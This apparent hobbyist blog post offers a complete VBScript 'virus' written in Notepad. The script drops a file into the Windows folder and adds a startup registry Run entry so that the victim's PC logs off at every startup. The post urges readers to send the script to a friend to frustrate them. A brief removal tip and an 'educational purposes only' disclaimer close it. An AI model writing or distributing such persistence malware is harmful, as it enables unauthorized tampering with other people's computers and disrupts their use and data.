You can make this small virus on your PC just using notepad.... :)

This post of virus programming will tell you about... how you can make a virus that will shutdown a PC Automatically at Startup. Every time when a victim will restart his PC, it will be shutdown.


!!! TRY THIS AT YOUR OWN RISK !!!
!!! FOR EDUCATIONAL PURPOSES ONLY !!!

Ok, just open the notepad and type the paste the following code:
code:

set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”

Now save this notepad file with any name having  .vbs extension....
Now send it to ur friend.... and Frustrate your friend by shutting down his computer automatically on startup ;)

How to get rid of this virus:
for that just boot ur system in safe mode and then go to directory c:\ windows.... find out wscript.vbs file there.... and delete it :)